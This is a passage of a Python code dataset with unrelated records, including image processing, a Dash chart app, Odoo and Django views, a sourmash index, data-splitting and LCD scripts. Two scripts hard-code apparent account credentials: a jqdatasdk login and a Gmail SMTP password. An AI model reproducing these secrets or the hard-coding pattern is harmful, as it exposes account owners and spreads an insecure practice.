self.initAccumulatorMatrix()\n \n def initAccumulatorMatrix(self):\n self.accumulatorMatrix = [[HoughPoint((x,y), self.radiusBounds) for y in range(0, self.img.size[1])] for x in range(0, self.img.size[0])]\n \n radius = self.radiusBounds[0]\n while radius < self.radiusBounds[1]:\n theta = 0\n \n theta_step = 2.0*math.pi/(2.0*math.pi*radius)\n while theta < math.pi*2.0:\n sinTheta = math.sin(theta)\n cosTheta = math.cos(theta)\n rSinTheta = int(sinTheta * radius)\n rCosTheta = int(cosTheta * radius)\n #radius = self.radiusBounds[0]\n for x in range(0, self.img.size[0]):\n for y in range(0, self.img.size[1]):\n if self.image[x,y] != (0,0,0) and self.image[x,y] != (0,0,0,0):\n #print(\"current pixel: \" + str((x,y)))\n \n xPoint = x+rCosTheta\n yPoint = y-rSinTheta\n \n if xPoint > 0 and xPoint < self.img.size[0] and yPoint > 0 and yPoint < self.img.size[1]:\n \n self.accumulatorMatrix[xPoint][yPoint].addVoteAtRadius(radius)\n \n theta += theta_step\n \n \n radius += HoughCircles.RADIUS_STEP\n \n ''' \n def getHighestVoteWeightPoint(self):\n highestVote = self.accumulatorMatrix[0][0].getGreatestVoteWeight()\n highestIndexes = (0,0)\n for x in range(0, len(self.accumulatorMatrix)):\n for y in range(0, len(self.accumulatorMatrix[0])):\n iterVote = self.accumulatorMatrix[x][y].getGreatestVoteWeight()\n if iterVote > highestVote:\n highestVote = iterVote\n highestIndexes = (x,y)\n \n return highestIndexes'''\n \n def circleCirclesOverThreshold(self, img, image, threshold):\n circles = self.getCirclesOverThreshold(threshold)\n for circle in circles:\n Drawer.drawCircle(img, image, Point(circle[0], circle[1]), circle.getRadius(), (255,0,0))\n return img\n '''for x in range(0, len(self.accumulatorMatrix)):\n for y in range(0, len(self.accumulatorMatrix[0])):\n pixelRadiusVote = self.accumulatorMatrix[x][y].getGreatestVote()\n if pixelRadiusVote.getVote() > threshold:\n Drawer.drawCircle(img, image, Point(x,y), pixelRadiusVote.getRadius(), (255,0,0))\n return img'''\n \n def getCirclesOverThreshold(self, threshold):\n circles = []\n for x in range(0, len(self.accumulatorMatrix)):\n for y in range(0, len(self.accumulatorMatrix[0])):\n pixelRadiusVote = self.accumulatorMatrix[x][y].getGreatestVote()\n if pixelRadiusVote.getVote() > threshold:\n circles.append(Circle((x,y), pixelRadiusVote.getRadius()))\n return circles\n \n def getHighestRadiusVotePoint(self):\n highestVote = self.accumulatorMatrix[0][0].getGreatestVoteWeight()\n highestIndexes = (0,0)\n for x in range(0, len(self.accumulatorMatrix)):\n for y in range(0, len(self.accumulatorMatrix[0])):\n iterVote = self.accumulatorMatrix[x][y].getGreatestVote()\n if iterVote.getVote() > highestVote.getVote():\n highestVote = iterVote\n highestIndexes = (x,y)\n \n return (highestIndexes[0], highestIndexes[1], highestVote.getRadius())\n \nclass HoughPoint:\n def __init__(self, position, radiusBounds):\n self.pos = position\n self.radiusBounds = radiusBounds\n self.initVoteArray()\n \n def initVoteArray(self):\n self.votes = [RadiusVote(i) for i in range(self.radiusBounds[0], self.radiusBounds[1], HoughCircles.RADIUS_STEP)]\n #print (\"votes: \" + str(self.votes))\n \n def addVoteAtRadius(self, radius):\n for i in range(0, len(self.votes)):\n if self.votes[i].getRadius() == radius:\n self.votes[i].addVote()\n \n '''def getIndexOfRadius(self, radius):\n #\n return int((radius - self.radiusBounds[0])/HoughCircles.RADIUS_STEP)\n '''\n def getGreatestVote(self):\n greatestIndex = 0\n for i in range(1, len(self.votes)):\n if self.votes[i].getVote() > self.votes[greatestIndex].getVote():\n greatestIndex = i\n return self.votes[greatestIndex]\n\nclass RadiusVote:\n \n def __init__(self, radius):\n self.radius = radius\n self.vote = 0\n \n def addVote(self):\n self.vote += 1\n \n '''def __iadd__(self, amount):\n self.vote += amount\n '''\n \n \n def getRadius(self):\n return self.radius\n \n '''def __getitem__(self):\n return self.vote'''\n \n def getVote(self):\n return self.vote\n ","sub_path":"PeterDev/HoughCircles.py","file_name":"HoughCircles.py","file_ext":"py","file_size_in_byte":5856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"609206304","text":"import os\nimport sys\npath = os.environ.get('TRAVIS_BUILD_DIR')\nsys.path.insert(0, path+'/protlearn')\nimport numpy as np\n\nfrom preprocessing import txt_to_df\nfrom feature_engineering import length\n\n\ndef test_lengths():\n \"Test sequence lengths\"\n \n # load data\n df = txt_to_df(path+'/tests/docs/test_seq.txt', 0)\n \n # test integer lengths\n len_int = length(df, 'int')\n assert np.array_equal(len_int, np.array([6, 9, 7, 6]))\n \n # test one-hot-encoded lengths\n len_ohe = length(df, 'ohe')\n # columns: [6, 7, 9]\n assert np.array_equal(len_ohe, np.array([[1., 0., 0.],\n [0., 0., 1.],\n [0., 1., 0.],\n [1., 0., 0.]]))","sub_path":"tests/test_length.py","file_name":"test_length.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"296445239","text":"import pandas as pd\nimport dash\nimport dash_core_components as dcc\nimport dash_bootstrap_components as dbc\nimport dash_html_components as html\nfrom dash.dependencies import Input, Output, State\nfrom plotly import graph_objs as go\nimport pathlib\nimport numpy as np\nimport plotly.graph_objects as go\nfrom datetime import datetime\nfrom plotly.subplots import make_subplots\nimport pathlib\nfrom app import app\n\nPATH = pathlib.Path(__file__).parent\nDATA_PATH = PATH.joinpath('../Week_22_sup_contribution/').resolve()\n\ndf = pd.read_excel(DATA_PATH.joinpath(\"Plastic Waste Makers Index.xlsx\"))\n\nmean_assets = df['No. of assets'].mean()\nmean_contribution = df['Total contribution to SUP waste'].mean()\n\ncolor_pallete = [\"#6EC1E4\", \"#A3A9AC\"]\nsize_tobede = [20, 10]\nfinal_color = df.apply(lambda x: color_pallete[0] if x[2]>mean_assets and x[6] > mean_contribution else color_pallete[1], axis=1)\nfinal_size = df.apply(lambda x: size_tobede[0] if x[2]>mean_assets and x[6] > mean_contribution else size_tobede[1], axis=1)\n\nfig1 = go.Figure(data=go.Scatter(y=df['No. of assets'],\n x=df['Total contribution to SUP waste'],\n mode='markers',\n marker=dict(color = final_color, size = final_size, line_width=1,opacity =0.9, line_color = 'black'),\n customdata=df.iloc[:,[1,4,5]],\n hovertemplate =\n '%{customdata[0]}'+\n '
    Number of Assets: %{y:.0f}'+\n '
    Total SUP waste(MMT):- %{x}'+\n '
    Flexible SUP Waste(MMT) :- %{customdata[1]:.1f}'+\n '
    Rigit SUP Waste(MMT) :- %{customdata[2]:.1f}',\n ))\n\nfig1.add_vline(x=mean_contribution,\n fillcolor=\"#667175\", opacity=0.5,\n layer=\"below\", line_width=2,\n line_color = '#667175',\n line_dash=\"dash\",#'solid', 'dot', 'dash', 'longdash', 'dashdot','longdashdot'\n annotation_text=\"Average\",\n annotation_position=\"top left\"\n )\nfig1.add_hline(y=mean_assets,\n fillcolor=\"#667175\", opacity=0.5,\n layer=\"below\", line_width=2,\n line_color = '#667175',\n line_dash=\"dash\",#'solid', 'dot', 'dash', 'longdash', 'dashdot','longdashdot'\n annotation_text=\"Average\",\n annotation_position=\"bottom right\",\n )\nfig1.add_annotation(\n x=2,y=60,\n xref=\"x\",yref=\"y\",\n text=\"20\",\n showarrow=False,\n font=dict(family=\"Rockwell, monospace\",size=30,color=\"#6EC1E4\"),\n# align=\"center\",arrowhead=2, arrowsize=1, arrowwidth=2, arrowcolor=\"#636363\",\n ax=20, ay=-30,\n bordercolor=\"#667175\",borderwidth=2,borderpad=4,bgcolor=\"#667175\",opacity=0.8\n )\n\nfig1.update_layout(\n plot_bgcolor = '#192930',\n paper_bgcolor = '#192930',\n hoverlabel=dict(\n# bgcolor=\"white\",\n font_size=15,\n font_family=\"Rockwell\",\n align = 'auto',\n ),\n title = dict(\n text = '20 '+\n \"Companies account for the Heighest
    Production and Heighest Number of Assets\",\n font=dict(size=25,family='Rockwell, monospace', color='#C1C5C7'),\n ),\n xaxis = dict(\n title=dict(\n text = '2019,MMT Total contribution to SUP waste',\n font=dict(size=18, family='Rockwell, monospace', color='#8C8C8C'),\n standoff = 20\n ),\n showline=True,\n linecolor='#667175',\n color = \"#667175\",\n showgrid=False,\n zeroline =False,\n ticks='outside',\n tickwidth=1.5,\n\n\n ),\n yaxis = dict(\n title=dict(\n text = 'Number of assets',\n font=dict(size=18, family='Rockwell, monospace', color='#8C8C8C'),\n standoff = 20\n ),\n showline=True,\n linecolor='#667175',\n showgrid=False,\n zeroline =False,\n color = \"#667175\",\n ticks='outside',\n tickwidth=1.5,\n )\n)\n\n\nfig2 = go.Figure(data=go.Scatter(x=df['Flexible format contribution to SUP waste'],\n y=df['Rigid format contribution to SUP waste'],\n mode='markers',\n marker=dict(color = final_color, size = final_size, line_width=1,opacity =0.9, line_color = 'black'),\n customdata=df.iloc[:,[1,4,5]],\n hovertemplate =\n '%{customdata[0]}'+\n '
    Number of Assets: %{y:.0f}'+\n '
    Flexible SUP Waste(MMT) :- %{customdata[1]:.1f}'+\n '
    Rigit SUP Waste(MMT) :- %{customdata[2]:.1f}',\n ))\n\nfig2.update_layout(\n plot_bgcolor = '#192930',\n paper_bgcolor = '#192930',\n hoverlabel=dict(\n# bgcolor=\"white\",\n font_size=15,\n font_family=\"Rockwell\",\n align = 'auto',\n ),\n title = dict(\n text = 'Top 20 '+\n 'polymer producers generating
    single-use plastic waste
    ',\n font=dict(family='Rockwell, monospace', color='black', size=25),\n ),\n xaxis = dict(\n title=dict(\n text = 'MMT Flexible format contribution to SUP waste',\n font=dict(size=15, family='Rockwell, monospace', color='#8C8C8C'),\n standoff = 20\n ),\n showline=True,\n linecolor='#667175',\n color = \"#667175\",\n showgrid=False,\n zeroline =False,\n ticks='outside',\n tickwidth=1.5,\n\n\n ),\n yaxis = dict(\n title=dict(\n text = 'MMT Rigid format contribution to
    SUP waste',\n font=dict(size=15, family='Rockwell, monospace', color='#8C8C8C'),\n standoff = 20\n ),\n showline=True,\n linecolor='#667175',\n showgrid=False,\n zeroline =False,\n color = \"#667175\",\n ticks='outside',\n tickwidth=1.5,\n )\n)\n\n\nheading_color = ['#E1C559']\ntext_heading_color = ['#C1C5C7']##C1C5C7\ntext_color = ['#667175']\nbackground_color = [\"#EEF2F7\"]\n\nmmw22_viz = html.Div([\n html.Div([\n html.Div([\n html.P([\n 'Created by Abhinav, ', html.A('@abhinavk910', href=\"https://twitter.com/abhinavk910\", style={'color': \"#BBBBBA\"}),' for',\n html.Span(' Makeover Monday Week 22', style={'color': heading_color[0]})],\n style={'color': \"#BBBBBA\"}, className='m-0'),\n html.P([\n 'This visualization highlights',\n html.Span(' Top companies Single Use Plastic contribution',\n style={'color': heading_color[0]}),\n ' in 2019'\n ], style={'color': \"#BBBBBA\"}, className='m-0')\n ], className='')\n ], style={'background': '', 'width': '1200px', 'min-height': '100px'}, className='pt-4 pl-4'),\n html.Div([\n html.H1('The Plastic Waste Makers Index', style={\n 'color': \"white\", \"text-align\": \"center\"}, className='mb-5'),\n html.Div([\n html.Div([\n html.P('In 2019, just 20 polymer producers accounted for more than half of all single-use plastic \\\n waste generated globally - and the top 100 accounted for 90 percent'\n ,className=\"mt-4\",style={'color': text_heading_color[0],'font-size':\"25px\" }),\n html.P(\"ExxonMobil and Dow - both based in the USA - top the list, followed by China-based Sinopec, \\\n with these three companies together accounting for 16 percent of global single-use plastic waste. Of\\\n approximately 300 polymer producers operating globally, a small fraction hold the fate of the world's\\\n plastic crisis in their hands: their choice, to continue to produce virgin polymers rather than recycled \\\n polymers, will have massive repercussions on how much waste is collected, managed and leaks into the environment.\",\n style={'color': text_color[0], }\n )\n ], style={'width': '500px'}),\n html.Div([\n dcc.Graph(id='mmw21_1', figure=fig1,\n config={'displayModeBar': False})\n ], style={'width': \"50%\"})\n ], className='d-flex flex-row justify-content-between'),\n html.Div([\n html.Div([\n dcc.Graph(id='mmw21_2', figure=fig2,\n config={'displayModeBar': False})\n ], style={'width': \"50%\"}),\n html.Div([\n html.P('Eleven of the top 20 polymer producers are based in Asia(five in China), with a further four in \\\n Europe, three in North America, one in Latin America, and one in the Middle East.',\n className=\"mt-4\",style={'color': text_color[0],'font-size':\"\" }),\n html.P('Four of the top 20 companies produce exclusively PET, a polymer which is mainly used to make \\\n bottles and other rigid plastics. These companies likely generate less plastic pollution than their \\\n peers, as rigid plastic have higher rates of collecion and recycling than lower-value, flexible plastics.',\n className=\"mt-4\",style={'color': text_color[0],'font-size':\"\" })\n\n ], style={'width': \"50%\"}),\n\n ], className='d-flex flex-row justify-content-between mt-5')\n ], style={'background': '#192930', 'width': '1200px', 'min-height': '80vh',\n \"border-radius\": \"50px\",\"box-shadow\": \"15px 0px 15px -10px rgba(0,0,0,0.75)\"}, className='p-5'),\n html.Div([\n html.Div([\n html.P([\n 'Created by ',html.A('Abhinav', href='http://www.linkedin.com/in/abhinavk910', style={'color': heading_color[0]}),\n html.A(' Kumar', href=\"https://twitter.com/abhinavk910\", style={'color': heading_color[0]})],\n style={'color': \"#BBBBBA\"}, className='m-0'),\n html.P([\n 'Tool: ',\n html.Span('Plotly', style={'color': heading_color[0]}),\n ], style={'color': \"#BBBBBA\"}, className='m-0')\n ], className='')\n ], style={'background': '', 'width': '1200px', 'min-height': '100px', \"text-align\": \"center\"}, className='pt-4 pl-4'),\n], className='d-flex flex-column align-items-center ', style = {'background': background_color[0]})\n","sub_path":"apps/Makeover_Mondays/Week_22_sup_contribution/app22.py","file_name":"app22.py","file_ext":"py","file_size_in_byte":10884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"567798468","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import models, fields, api\n\n# -*- coding: utf-8 -*-\nfrom odoo import models,fields\nfrom odoo.addons.website.controllers.main import QueryURL\nimport logging\n_logger = logging.getLogger(__name__)\n\n\n\nclass Website(models.Model):\n _inherit = 'website'\n\n def _public_categories(self):\n public_categories = self.env['product.public.category'].search([('parent_id', '=', False)])\n\n return public_categories\n\n # def _count_prod(self, category):\n # product_ids = self.env['product.template'].search([('public_categ_ids', 'in', category)],[('website_published', '=', True)])\n # return len(product_ids)\n\n def _products_by_category(self):\n def _count_prod(category):\n product_ids = self.env['product.template'].search([('public_categ_ids', 'in', [11]),('active', '=', True), ('website_published', '=', True)])\n return len(product_ids)\n\n\n categories = self._public_categories()\n products_by_category = dict()\n\n\n for c in categories:\n cat = list()\n for ch in c.child_id:\n cat.append(ch.id)\n cat.append(c.id)\n item, totalprod = c.name, _count_prod(cat)\n products_by_category[item]= totalprod\n _logger.info(products_by_category)\n return products_by_category\n\n\n\n\n","sub_path":"website_allied_theme/models/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"291505471","text":"from jqdatasdk import *\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom pandas import Series,DataFrame\r\nimport time\r\nimport datetime\r\nimport warnings\r\nfrom pymongo import MongoClient\r\nwarnings.simplefilter(action = \"ignore\", category = RuntimeWarning)\r\nauth('13818571403','Jyq810302')\r\n\r\n\r\ntoday = '2019-03-14'\r\ntdate= datetime.datetime.strptime(today,\"%Y-%m-%d\")\r\ndelta = datetime.timedelta(days=30) #取35天的数据,不然均值回归不准,均值回归是按照现价与MA30的差值计算的\r\nn_days = tdate - delta\r\nyesterday = n_days.strftime('%Y-%m-%d') #从今天往前面数1天的日期\r\n\r\nstock = '600818.XSHG'\r\n#stocks = list(get_all_securities(['stock']).index)\r\nstocks = ['601865.XSHG','600604.XSHG','002600.XSHE','000409.XSHE','000631.XSHE','000048.XSHE']\r\n\r\n# dict_df = pd.DataFrame()\r\n# for x in stocks:\r\n# df = get_price(x, start_date=yesterday, end_date=today, frequency='daily')\r\n# vibration = (df['high'].max() - df['low'].min()) / df['low'].min()\r\n# dict = {'id': [x],'vibration': [ vibration]}\r\n# d = pd.DataFrame(dict)\r\n# dict_df = dict_df.append(d)\r\n# dragon = dict_df.sort_values(by = 'vibration',ascending = False)\r\n# print(dragon)\r\n\r\n\r\nclient=MongoClient(\"localhost\",27017)\r\ndb=client.stock\r\nmycol = db['store']\r\nmyquery = {\"start_date\": {\"$lt\": yesterday}}\r\nmydoc = mycol.find(myquery,{'stock_id':1,'_id':0,'stock_name':1})\r\n\r\ndict_df = pd.DataFrame()\r\n\r\nfor x in mydoc:\r\n id = x['stock_id']\r\n name = x['stock_name']\r\n df = get_price(id, start_date=yesterday, end_date=today, frequency='daily')\r\n vibration = (df['high'].max() - df['low'].min()) / df['low'].min()\r\n dict = {'id': [id], 'name': [name],'vibration': [ vibration]}\r\n d = pd.DataFrame(dict)\r\n dict_df = dict_df.append(d)\r\ndragon = dict_df.sort_values(by = 'vibration',ascending = False)\r\nprint(dragon)\r\ndict_df.to_csv('c:\\\\stock\\\\'+today+'vibration.csv')","sub_path":"龙头/compare/N天振幅.py","file_name":"N天振幅.py","file_ext":"py","file_size_in_byte":1893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"633163172","text":"\"An Abstract Base Class for collections of signatures.\"\n\nfrom __future__ import division\nfrom abc import abstractmethod\nfrom collections import namedtuple\n\nfrom ._compat import ABC\n\n\nclass Index(ABC):\n @abstractmethod\n def signatures(self):\n \"Return an iterator over all signatures in the Index object.\"\n\n @abstractmethod\n def insert(self, signature):\n \"\"\" \"\"\"\n\n @abstractmethod\n def save(self, path, storage=None, sparseness=0.0, structure_only=False):\n \"\"\" \"\"\"\n\n @classmethod\n @abstractmethod\n def load(cls, location, leaf_loader=None, storage=None, print_version_warning=True):\n \"\"\" \"\"\"\n\n def find(self, search_fn, *args, **kwargs):\n \"\"\"Use search_fn to find matching signatures in the index.\n\n search_fn(other_sig, *args) should return a boolean that indicates\n whether other_sig is a match.\n\n Returns a list.\n \"\"\"\n\n matches = []\n\n for node in self.signatures():\n if search_fn(node, *args):\n matches.append(node)\n return matches\n\n def search(self, query, *args, **kwargs):\n \"\"\"Return set of matches with similarity above 'threshold'.\n\n Results will be sorted by similarity, highest to lowest.\n\n Optional arguments accepted by all Index subclasses:\n * do_containment: default False. If True, use Jaccard containment.\n * best_only: default False. If True, allow optimizations that\n may. May discard matches better than threshold, but first match\n is guaranteed to be best.\n * ignore_abundance: default False. If True, and query signature\n and database support k-mer abundances, ignore those abundances.\n\n Note, the \"best only\" hint is ignored by LinearIndex.\n \"\"\"\n\n # check arguments\n if 'threshold' not in kwargs:\n raise TypeError(\"'search' requires 'threshold'\")\n threshold = kwargs['threshold']\n\n do_containment = kwargs.get('do_containment', False)\n ignore_abundance = kwargs.get('ignore_abundance', False)\n\n # configure search - containment? ignore abundance?\n if do_containment:\n query_match = lambda x: query.contained_by(x, downsample=True)\n else:\n query_match = lambda x: query.similarity(\n x, downsample=True, ignore_abundance=ignore_abundance)\n\n # do the actual search:\n matches = []\n\n for ss in self.signatures():\n similarity = query_match(ss)\n if similarity >= threshold:\n matches.append((similarity, ss, self.filename))\n\n # sort!\n matches.sort(key=lambda x: -x[0])\n return matches\n\n def gather(self, query, *args, **kwargs):\n \"Return the match with the best Jaccard containment in the Index.\"\n if not query.minhash: # empty query? quit.\n return []\n\n scaled = query.minhash.scaled\n if not scaled:\n raise ValueError('gather requires scaled signatures')\n\n threshold_bp = kwargs.get('threshold_bp', 0.0)\n threshold = 0.0\n\n # are we setting a threshold?\n if threshold_bp:\n # if we have a threshold_bp of N, then that amounts to N/scaled\n # hashes:\n n_threshold_hashes = float(threshold_bp) / scaled\n\n # that then requires the following containment:\n threshold = n_threshold_hashes / len(query.minhash)\n\n # is it too high to ever match? if so, exit.\n if threshold > 1.0:\n return []\n\n # actually do search!\n results = []\n for ss in self.signatures():\n cont = query.minhash.contained_by(ss.minhash, True)\n if cont and cont >= threshold:\n results.append((cont, ss, self.filename))\n\n results.sort(reverse=True, key=lambda x: (x[0], x[1].name()))\n\n return results\n\n @abstractmethod\n def select(self, ksize=None, moltype=None):\n \"\"\n\nclass LinearIndex(Index):\n def __init__(self, _signatures=None, filename=None):\n self._signatures = []\n if _signatures:\n self._signatures = list(_signatures)\n self.filename = filename\n\n def signatures(self):\n return iter(self._signatures)\n\n def __len__(self):\n return len(self._signatures)\n\n def insert(self, node):\n self._signatures.append(node)\n\n def save(self, path):\n from .signature import save_signatures\n with open(path, 'wt') as fp:\n save_signatures(self.signatures(), fp)\n\n @classmethod\n def load(cls, location):\n from .signature import load_signatures\n si = load_signatures(location)\n\n lidx = LinearIndex(si, filename=location)\n return lidx\n\n def select(self, ksize=None, moltype=None):\n def select_sigs(siglist, ksize, moltype):\n for ss in siglist:\n if (ksize is None or ss.minhash.ksize == ksize) and \\\n (moltype is None or ss.minhash.moltype == moltype):\n yield ss\n\n siglist=select_sigs(self._signatures, ksize, moltype)\n return LinearIndex(siglist, self.filename)\n","sub_path":"sourmash/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":5219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"606147666","text":"import simplejson\n\nfrom django.contrib.auth.models import User\nfrom django.http import HttpResponse, HttpResponseRedirect, Http404\nfrom django.shortcuts import get_object_or_404\nfrom django.views.generic.list_detail import object_list, object_detail\nfrom django.views.static import serve\n\nfrom projects.models import Project\nfrom core.views import serve_docs\n\nfrom taggit.models import Tag\n\ndef project_index(request, username=None, tag=None):\n \"\"\"\n The list of projects, which will optionally filter by user or tag,\n in which case a 'person' or 'tag' will be added to the context\n \"\"\"\n queryset = Project.objects.live()\n if username:\n user = get_object_or_404(User, username=username)\n queryset = queryset.filter(user=user)\n else:\n user = None\n\n if tag:\n tag = get_object_or_404(Tag, slug=tag)\n queryset = queryset.filter(tags__name__in=[tag.slug])\n else:\n tag = None\n\n return object_list(\n request,\n queryset=queryset,\n extra_context={'person': user, 'tag': tag},\n page=int(request.GET.get('page', 1)),\n template_object_name='project',\n )\n\ndef slug_detail(request, project_slug, filename):\n \"\"\"\n A detail view for a project with various dataz\n \"\"\"\n if not filename:\n filename = \"index.html\"\n return serve_docs(request=request, project_slug=project_slug, version_slug='latest', filename=filename)\n\ndef project_detail(request, username, project_slug):\n \"\"\"\n A detail view for a project with various dataz\n \"\"\"\n user = get_object_or_404(User, username=username)\n queryset = user.projects.live()\n\n return object_detail(\n request,\n queryset=queryset,\n slug_field='slug',\n slug=project_slug,\n extra_context={'user': user},\n template_object_name='project',\n )\n\ndef tag_index(request):\n \"\"\"\n List of all tags by most common\n \"\"\"\n tag_qs = Project.tags.most_common()\n return object_list(\n request,\n queryset=tag_qs,\n page=int(request.GET.get('page', 1)),\n template_object_name='tag',\n template_name='projects/tag_list.html',\n )\n\ndef search(request):\n \"\"\"\n our ghetto site search. see roadmap.\n \"\"\"\n if 'q' in request.GET:\n term = request.GET['q']\n else:\n raise Http404\n queryset = Project.objects.live(name__icontains=term)\n if queryset.count() == 1:\n return HttpResponseRedirect(queryset[0].get_absolute_url())\n\n return object_list(\n request,\n queryset=queryset,\n template_object_name='term',\n extra_context={'term': term},\n template_name='projects/search.html',\n )\n\ndef search_autocomplete(request):\n \"\"\"\n return a json list of project names\n \"\"\"\n if 'term' in request.GET:\n term = request.GET['term']\n else:\n raise Http404\n queryset = Project.objects.live(name__icontains=term)[:20]\n\n project_names = queryset.values_list('name', flat=True)\n json_response = simplejson.dumps(list(project_names))\n\n return HttpResponse(json_response, mimetype='text/javascript')\n\ndef project_pdf(request, username, project_slug):\n project = get_object_or_404(Project, slug=project_slug)\n pdf = project.full_pdf_path.replace(project.full_doc_path, '')\n base = project.full_doc_path\n return serve(request, pdf, base)\n","sub_path":"projects/views/public.py","file_name":"public.py","file_ext":"py","file_size_in_byte":3378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"358843474","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport os\nimport hashlib\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import StratifiedShuffleSplit\n\nPATH = \"E:\\\\Data\\\\Hands-on-Machine-Learning\"\nNAME_FILE = \"housing.csv\"\n\ndef importation_donnees(chemin,nom_fichier):\n file_name = os.path.join(chemin,nom_fichier)\n data = pd.read_csv(file_name)\n return data\n\ndef apercu_des_donnes():\n print(housing[\"ocean_proximity\"].value_counts())\n print(housing.describe())\n\n housing.hist(bins=50,figsize=(20,15))\n plt.show()\n\ndef split_train_test(ratio,data_set):\n indices = np.random.permutation(len(data_set))\n indices_test = indices[int(len(data_set)*ratio):]\n indices_train = indices[:int(len(data_set)*ratio)]\n \n return data_set.iloc[indices_test],data_set.iloc[indices_train]\n\ndef test_check(identifier,ratio_test,hash):\n last_byte = hash(np.int64(identifier)).digest()[-1]\n plafond = int(ratio_test * 256)\n return last_byte < plafond\n\ndef split_train_test_hash(data_set,test_ratio,id_column,hash=hashlib.md5):\n ids=data_set[id_column]\n function_evaluation = lambda x : test_check(x,test_ratio,hash)\n in_test_set = ids.apply(function_evaluation)\n return data_set[~in_test_set],data_set[in_test_set]\n\ndef picking_data():\n #test,train = split_train_test(0.8,housing)\n housing_with_id = housing.reset_index()\n test,train = split_train_test_hash(housing_with_id,0.2,\"index\")\n print(test.shape)\n print(train.shape)\n\ndef categorie_income():\n housing[\"income_cat\"] = np.ceil(housing['median_income']/1.5)\n housing[\"income_cat\"].where(housing['income_cat']<5,5.0,inplace=True)\n\ndef split_simple():\n categorie_income()\n train,test = train_test_split(housing,\n test_size=0.2,\n random_state=42)\n #plt.hist(housing[\"income_cat\"])\n #plt.show()\n print(train[\"income_cat\"].value_counts())\n print(train[\"income_cat\"].value_counts()/len(train[\"income_cat\"]))\n\ndef split_stratifie():\n categorie_income()\n split= StratifiedShuffleSplit(n_splits=1,\n test_size=0.2,\n random_state=42)\n\n for train_index,test_index in split.split(housing,housing[\"income_cat\"]):\n strat_train = housing.loc[train_index]\n strat_test = housing.loc[test_index]\n \n print(strat_train[\"income_cat\"].value_counts())\n print(strat_train[\"income_cat\"].value_counts()/len(strat_train[\"income_cat\"]))\n\n return strat_train,strat_test\n\ndef first_step(): \n # split_simple()\n strat_train_set,strat_test_set = split_stratifie()\n \n for _set in (strat_train_set,strat_test_set):\n _set.drop(\"income_cat\",axis=1,inplace=True)\n\n return strat_train_set,strat_test_set\n\nhousing = importation_donnees(PATH,NAME_FILE)\ntrain, test = first_step()\n\n\n\n\n\n\n\n\n\n","sub_path":"Python - Hands On Machine Learning/03 - Hands On - Split Dataset.py","file_name":"03 - Hands On - Split Dataset.py","file_ext":"py","file_size_in_byte":2928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"644929220","text":"import time\nimport Adafruit_Nokia_LCD as LCD\nimport Adafruit_GPIO.SPI as SPI\nimport Image\nimport ImageDraw\nimport ImageFont\nDC = 23\nRST = 24\nSPI_PORT = 0\nSPI_DEVICE = 0\n# Hardware SPI usage:\ndisp = LCD.PCD8544(DC, RST, spi=SPI.SpiDev(SPI_PORT, SPI_DEVICE, max_speed_hz=4000000))\n# Software SPI usage (defaults to bit-bang SPI interface):\n#disp = LCD.PCD8544(DC, RST, SCLK, DIN, CS)\n# Initialize library.\ndisp.begin(contrast=60)\n# Clear display.\ndisp.clear()\ndisp.display()\nmax = (LCD.LCDWIDTH, LCD.LCDHEIGHT)\nwhile True:\n\tfor i in range(1,12):\n\t\timage = Image.open(\"frame-\"+str(i).zfill(2)+\".gif\")\n\t\timage1 = image.convert('1')\n# should be convert mode to 1 (because jus black and white)\n\t\timage1 = image1.resize(max)\n# change size to screen max\n\t\tdisp.image(image1)\n\t\tdisp.display()\n\t\ttime.sleep(0.2)\n\n","sub_path":"showstr.py","file_name":"showstr.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"152143648","text":"import smtplib\nimport openpyxl\nimport sys\n# We use email and MIME handling packages to create a nice looking email with subject line\nfrom email.mime.text import MIMEText\nfrom email.header import Header\nsubject = u'Дедлайн по проекту' \nbody = u'Это тестовое письмо оптправлено с помощью smtplib'\nmsg = MIMEText(body, 'plain', 'utf-8')\nmsg['Subject'] = Header(subject, 'utf-8')\n# Define todays date\nfrom datetime import datetime, timedelta\nnow = datetime.now()\n# Define what date is in one day\ndelta = timedelta(days=1)\ntomorrow = now + delta\n# Convert tomorrow date into string\ntomorrow = tomorrow.strftime('%d.%m.%Y')\n# Open the excel file with the deadlines on the first sheet\nwb = openpyxl.load_workbook('Tasks deadlines.xlsx')\nws = wb.get_sheet_by_name('Sheet1')\n# Define the range to be analyzed - in our case column A\ncolA = ws['A']\n# Read the data in column A\nfor column in ws.columns:\n\tfor colA in column:\n# Compare the data in column A to the tomorrow's date\n\t\tif colA.value == tomorrow:\n# Enter smtp of gmail, login my email, send email, exit smtp\n\t\t\tsmtpObj = smtplib.SMTP('smtp.gmail.com', 587)\n\t\t\tsmtpObj.starttls()\n\t\t\tsmtpObj.login('natalya.agilent@gmail.com', 'YfnfkmzYfnfkmz321')\n\t\t\tsmtpObj.sendmail(\"natalya.agilent@gmail.com\", \"nakurysheva@mail.ru\", msg.as_string())\n\t\t\tsmtpObj.quit()\n\t\t\tprint(\"Email sent\")\n\t\telse:\n\t\t\tprint (\"Deadline is not tomorrow Do not send anything\")\n\n\n\n\n\n","sub_path":"old iterations and pre-finals/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":1449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} 